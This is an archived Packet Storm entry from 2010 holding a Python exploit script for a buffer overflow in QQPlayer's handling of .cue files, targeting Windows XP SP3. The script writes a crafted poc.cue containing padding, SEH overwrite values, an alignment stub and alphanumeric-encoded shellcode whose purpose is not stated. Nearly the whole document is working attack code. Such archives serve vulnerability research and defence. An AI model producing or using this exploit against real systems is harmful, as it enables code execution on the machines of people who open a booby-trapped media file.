QQPlayer .cue Buffer Overflow

2010-07-22T00:00:00
ID PACKETSTORM:92044
Type packetstorm
Reporter Lufeng Li
Modified 2010-07-22T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
  
#################################################################  
#  
# Title: QQPlayer cue File Buffer Overflow Exploit  
# Author: Lufeng Li of Neusoft Corporation  
# Vendor: www.qq.com  
# Platform: Windows XPSP3 Chinese Simplified  
# Tested: QQPlayer 2.3.696.400  
# Vulnerable: QQPlayer<=2.3.696.400p1  
#  
#################################################################  
# Code :  
  
head = '''FILE "'''  
junk = "A" * 780  
nseh ="\x42\x61\x21\x61"  
seh ="\xa9\x9e\x41\x00"  
adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"  
shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o"  
"0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41"  
"H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK"  
"NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01")  
junk_="R"*8000  
foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08"  
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot  
  
fobj = open("poc.cue","w")  
fobj.write(payload)  
fobj.close()  
  
`